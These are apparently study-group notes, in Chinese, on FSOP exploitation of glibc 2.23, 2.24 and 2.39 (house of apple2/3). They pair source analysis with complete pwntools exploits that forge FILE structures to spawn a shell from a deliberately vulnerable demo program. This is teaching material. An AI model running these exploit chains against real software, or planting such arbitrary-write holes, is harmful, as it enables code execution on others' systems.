---
# System prepended metadata

title: 新版本 glibc 的 FSOP

---

# 新版本 glibc 中的 FSOP 利用鏈
> 資安讀書會 11/30, 2025

很久以前堇姬講過利用 file structure 的任意讀寫和修改 vtable 的 get shell 方式，於是我打算接續著講一些在新版本還可以 get shell 的 FSOP 方式。

以下都會打這段程式碼，給你 libc address 且可以往任意地址寫長度 0x100 的資料，我會都用 FSOP 來打：
```cpp
#include <stdio.h>

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("leak: 0x%lx\n",printf);
    unsigned long addr;
    printf("addr: ");
    scanf("%ld", &addr);
    printf("data: ");
    read(0, addr, 0x100);
}
```
你可以在[這邊](https://share.rota1001.com/fsop.zip)找到檔案。
首先讓我們把時光倒退到 glibc 2.23。

:::info
以下的 exploit 中的 pwntools 都是 `5.0.0dev` 的版本，比 release 的還要新
:::


## glibc 2.23
之所以要從 2.23 開始講是因為 FSOP 運用的核心概念其實差不多，差別大部分在於要繞過的檢測不同。

FSOP 主要是利用在 `exit`、正常 return 或 abort 的時候，會呼叫 `_IO_flush_all_lockp`，它會將 `_IO_list_all` 指向的 `_IO_FILE` 還有它連著的所有 `_IO_FILE` 全部做一些操作，在滿足一些條件的時候會呼叫到我們可以控制的函式指標，那就能控制執行流。

在 `_IO_FILE_PLUS` 結構中，有個元素是 vtable，指向一個 `_IO_jump_t` 結構體，他放的是一堆函式指標（[libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)）：

在 `_IO_flush_all_lockp` 裡，有個地方會去呼叫 `_IO_OVERFLOW`（[libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)），他要滿足的是 `fp->mode` 要小於等於 0 且 `fp->_IO_write_ptr` 要大於 `fp->_IO_write_base`
```cpp
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;
```

注意到他的 `_IO_OVERFLOW` 的第 0 個參數的是 `fp`，也就代表我們能控制 rdi 指向的位置放的東西，如果我們在那邊放 `/bin/sh`，再調整 vtable 位置讓 `_IO_OVERFLOW` 對應到的剛好是 `system` 的話，那就可以 getshell 了。

接下是實作，首先從 `_IO_list_all` 的位置開始寫，我會把假的 `_IO_FILE_plus` 放在 `_IO_list_all + 8` 的地方，原因是因為那邊是 stderr 的位置，比較不會影響到正常輸入輸出。

於是我在 `_IO_list_all` 的位置寫 `_IO_list_all + 8`，在後面寫一個 filestructure，使用 python 的 `FileStructure`：
```python
file = FileStructure(0)
```
他的開頭要放 `/bin/sh\x00` 做為輸入，這個欄位是 flags，這裡沒差：
```python
file.flags = b"/bin/sh\x00"
```
然後滿足檢測條件：
```python
file._IO_write_base = 0
file._IO_write_ptr = 1
file._mode = 0
```
`_IO_read_ptr` 是在 0x08 的位置，overflow 的函式指標在 `_IO_jump_t` 結構體偏移 0x18 的位置，於是我在 `_IO_read_ptr` 的地方放 `system`，在 `vtable` 放 `_IO_read_ptr` 的位置減 0x18，也就是 `_IO_list_all + 8 + 0x8 - 0x18`：
```python
file._IO_read_ptr = p64(libc.sym["system"])
file.vtable = (_IO_list_all + 8 + 0x8 - 0x18)
```
完整的 exploit 在這：
```python
from pwn import *

r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.23-0ubuntu5_amd64/libc.so.6")
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))

_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
file = FileStructure(0)
file.flags = b"/bin/sh\x00"
file._IO_write_base = 0
file._IO_write_ptr = 1
file._mode = 0
file._IO_read_ptr = p64(libc.sym["system"])
file.vtable = (_IO_list_all + 8 + 0x8 - 0x18)
print(file)
payload = p64(_IO_list_all + 8) + bytes(file)

r.sendlineafter(b": ", str(len(payload)).encode())
r.sendafter(b": ", payload)
r.interactive()
```

## glibc 2.24
在 glibc 2.24 開始，會去檢查 vtable 是否在 `__start___libc_IO_vtables` 到 `__stop___libc_IO_vtables` 之間，所以不能亂造 vtable，然後這段是不能寫的，所以我們只能想辦法利用現有的 vtable。
```cpp
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
```
在 `_IO_str_jumps` 中有一些可以用的函式，它被定義在 [libio/strops.c#L326](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/strops.c#L326)，它的 symbol 沒被放出來，不過其他人的 blog 有提到怎麼找這個 symbol 的位置：
```python
# https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#libc2.24-ji-yi-shang-de-li-yong
def find_IO_str_jumps():
    # find _IO_str_jumps
    # notice that libc.address must be zero
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            return possible_IO_str_jumps_offset
    return null
```
這個 vtable 裡面我們要利用的是 `_IO_str_finish`，它裡面會呼叫 `((_IO_strfile *) fp)->_s._free_buffer`，其實就是呼叫 fp 偏移 0xE8 的地方放的函式指標，並且以 `fp->_IO_buf_base` 作為輸入。
```cpp
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}
```
我們可以先滿足之前那些 FSOP 的條件，讓它呼叫 `_IO_OVERFLOW`，調整 vtable 讓它實際上會呼叫到 `_IO_str_finish`，並且在 `fp + 0xe8` 寫上 `system`，在 `fp->_IO_buf_base` 寫上 `/bin/sh` 的地址，接下來是實作。

首先用上述函式拿到 `_IO_str_jumps`：
```python
_IO_str_jumps = find_IO_str_jumps()
```
我們同樣把 `_IO_FILE_plus` 構造在 `_IO_list_all + 8` 的地方，先滿足條件讓它呼叫 `IO_OVERFLOW`：
```python
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
```
調整 `vtable` 讓它呼叫 `_IO_str_finish`：
```python
file.vtable = _IO_str_jumps + 0x10 - 0x18
```
在 `_IO_buf_base` 放指向 `/bin/sh` 的指標：
```python
file._IO_buf_base = next(libc.search(b"/bin/sh\x00"))
```
最後構造 payload，把 `system` 放在偏移 0xE8 的位置：
```python
payload = flat({
    0x00: p64(_IO_list_all + 8),
    0x08: bytes(file),
    0x08 + 0xe8: p64(libc.sym["system"])
})
```

完整的 exploit 長這樣：
```python
from pwn import *

r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.24-9ubuntu2_amd64/libc.so.6")

def find_IO_str_jumps():
    # find _IO_str_jumps
    # notice that libc.address must be zero
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            return possible_IO_str_jumps_offset
    return null

_IO_str_jumps = find_IO_str_jumps()
print(hex(_IO_str_jumps))
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))

_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
_IO_str_jumps = libc.address + _IO_str_jumps


file = FileStructure(0)
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file._IO_buf_base = next(libc.search(b"/bin/sh\x00"))
file.vtable = _IO_str_jumps + 0x10 - 0x18
payload = flat({
    0x00: p64(_IO_list_all + 8),
    0x08: bytes(file),
    0x08 + 0xe8: p64(libc.sym["system"])
})

r.sendlineafter(b": ", str(len(payload)).encode())
r.sendafter(b": ", payload)
r.interactive()
```

這個東西印象中是在 2.28 後就不能用了。

## glibc 2.39
跳的有點快，直接到 2.39，之所以沒再往上是因為我是用 ubuntu 24.04，他是 2.39。

### house of apple2
他是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_overflow`，滿足一些條件後它會呼叫 `_IO_wdoallocbuf`
```cpp
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
      || f->_wide_data->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
          ...
```
然後它會去呼叫 `_IO_WDOALLOCATE`，第 0 個參數是 fp，而且這個 `_IO_WDOALLOCATE` 是從 `_wide_data` 中的 `_wide_vtable` 指向的 vtable 拿出來的，而這個 vtable 在哪裡是不會被驗證的，就代表我們可以偽造這個 vtable。
```cpp
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
```
以下整理一些要滿足的條件：
- `fp->flags` 要清除 `2 | 0x8 | 0x800`，並且有 `0x8000`
- flags 也是字串輸入，同時滿足上面條件的合法 flags 是 `u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800))`
- `fp->_IO_write_ptr` > `fp->_IO_write_base`
- `fp->vtable` 設為 `_IO_wfile_jumps`
- `fp->_wide_data` 指向一個偽造出的 `_wide_data`，滿足以下條件：
    - `_IO_write_base` 是 0
    - `_IO_buf_base` 是 0
    - `_wide_vtable` 指向偽造的 vtable，且 `_IO_doallocate` 是 `system`

構造過程比較瑣碎，直接上 payload：
```python
from pwn import *

r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6")



r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))

_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())

_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
file = FileStructure(0)

file.flags = u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800))
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file.vtable = _IO_wfile_jumps
file._wide_data = _IO_list_all + 0x8 - 0x10
print(file)
system = libc.sym["system"]
file._IO_read_ptr = 0 # 0x00: _IO_wide_data: 0x18
file._IO_write_base = 0 # 0x18: _IO_wide_data: 0x30
system_pos = _IO_list_all + 0x8 + 0xc8
file._unused2 = b"\x00" * (0xc8 - 0xc4) + p64(system) + p64(system_pos - 0x68)
payload = p64(_IO_list_all + 8) + bytes(file)

r.sendlineafter(b": ", str(len(payload)).encode())

r.sendafter(b": ", payload)
r.interactive()
```

### house of apple3
這條鏈有億點點複雜，其實把它壓進 0xF0 的長度已經不成人形了。

這個方法是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_underflow`，經過一些檢查後會進入 `__libio_codecvt_in`（[libio/wfileops.c#L111](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/wfileops.c#L111)）
```cpp
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
	fp->_wide_data->_IO_buf_base;
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
				   fp->_IO_read_ptr, fp->_IO_read_end,
				   &read_stop,
				   fp->_wide_data->_IO_read_ptr,
				   fp->_wide_data->_IO_buf_end,
				   &fp->_wide_data->_IO_read_end);
      ...
```
在 [`__libio_codecvt_in`](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/iofwide.c#L160) 裡面，去呼叫了 `fp->codecvt->__cd_in.step->__fct`，並且使用 `gs` （`fp->codecvt->__cd_in.step`）作為第 0 個參數：
```cpp
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;

  __gconv_fct fct = gs->__fct;
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);

  status = DL_CALL_FCT (fct,
			(gs, &codecvt->__cd_in.step_data, &from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &dummy, 0, 0));
```


這個 `fp->codecvt->__cd_in.step->__fct` 是我們可以自己偽造的，所以我們總共要偽造 `_IO_FILE_plus`、`_IO_wide_data` 、 `_IO_codecvt` 和 `__gconv_step` 四個結構體，以下是一些要滿足的條件：

首先是要讓他在 `_IO_flush_all` 裡面呼叫 `_IO_OVERFLOW`，所以要滿足：
- `fp->flags` 要有 0x8000
- `fp->_mode <= 0`
- `fp->_IO_write_ptr > fp->_IO_write_base`

然後修改 vtable 讓它呼叫 `_IO_OVERFLOW` 時實際叫到的是 `_IO_wfile_underflow`。

接下來滿足以下條件讓它呼叫 `__libio_codecvt_in`：
- `fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end`
- `fp->flags` 要把 `0x10 | 0x04` 清掉

接下來是 `fp->codecvt->__cd_in.step->__shlib_handle` 要是 0，這樣它就會去呼叫 `fp->codecvt->__cd_in.step->__fct`，把這個函式指標寫成 `system` 就好。

現在我們控制了 rip，但要怎麼控制 rdi 呢？

觀察 `__libio_codecvt_in` 的實現，會發現他在呼叫 `fct` 之前會執行以下的程式碼：
```cpp

  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;
```
會發現它等價於是可以往 `codecvt->__cd_in` 的相對位置寫一些東西。注意到呼叫 `fct` 的時候，它輸入的參數是 `fp->codecvt->__cd_in.step`，如果我們把 `fp->codecvt->__cd_in.step` 建立在 `((char *)(codecvt->__cd_in)) + 8` 的位置，再把 `to_start` 的設成 `u64(b"/bin/sh\x00")`，那做的事情就是把輸入變成指向 `"/bin/sh"` 的指標。

但會發現一件事情是 `fp->codecvt->__cd_in.step` 開頭放的東西是 `__shlib_handle`，這個值如果被寫成 `/bin/sh` 就不是 0 了，在 C 語言的觀點來看他不會呼叫 `fct`，但如果丟進 IDA 看的話：
```cpp
  v10 = step->__shlib_handle == 0;
  fct = step->__fct;
  codecvt->__cd_in.step_data.__outbuf = (unsigned __int8 *)to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned __int8 *)to_end;
  codecvt->__cd_in.step_data.__statep = statep;
  if ( !v10 )
    fct = (void *)(__readfsqword(0x30u) ^ __ROR8__(fct, 17));
```
你會發現，他在進行那幾行賦值的程式碼之前，先去把 `step->__shlib_handle == 0` 的結果儲存了，所以把它改成 `/bin/sh` 不會出問題，於是成功 getshell。

那怎麼把它壓進 0xF0 裡面呢？簡單來說就是把 4 個結構體合併在 0xF0 的空間中，直接上 exploit：
```python
from pwn import *

r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6")

r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))

_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())

_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]

file = FileStructure(0)
file.flags = (~(0x10 | 0x04)) | 0x8000
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file._IO_read_ptr = 0
file._IO_read_end = 1
file.vtable = _IO_wfile_jumps + 0x8
file._wide_data = _IO_list_all + 8 + 0x10
system = libc.sym["system"]
file._codecvt = _IO_list_all + 8 + 0x50

file._IO_buf_end = b"/bin/sh\x00"
file._IO_backup_base = _IO_list_all + 8 + 0x58
file._cur_column = system & 0xFFFF
file._vtable_offset = (system >> 16) & 0xFF
file._shortbuf = (system >> 24) & 0xFF
file.unknown1 = (system >> 32)

payload = p64(_IO_list_all + 8) + bytes(file)

r.sendafter(b": ", payload)
r.interactive()
```

## Reference
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/
https://ctf-wiki.org/pwn/linux/user-mode/io-file/exploit-in-libc2.24/
https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/
https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-3/